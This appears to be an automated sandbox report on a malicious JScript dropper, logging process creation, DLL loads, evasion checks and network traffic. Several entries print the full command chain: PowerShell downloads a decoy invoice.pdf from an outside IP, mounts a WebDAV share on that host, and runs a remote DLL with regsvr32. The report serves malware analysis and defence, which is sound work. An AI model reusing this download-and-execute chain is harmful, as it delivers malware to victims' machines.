Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7704.js.csv");ITextStream.WriteLine(" entry:7551 f:cqyqqex");ITextStream.WriteLine(" exec:2 f:cqyqqex");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5669			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4190			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7592	Thread sleep count: 5669 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7592	Thread sleep count: 4190 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7648	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7664	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7860	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 768	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1477986293.000001404B188000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1471445599.000001404B188000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1477807609.000001404B128000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1470535893.000001404B188000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2701573614.000001F32EA42000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2701643384.000001F32EA54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2700408467.000001F32942B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
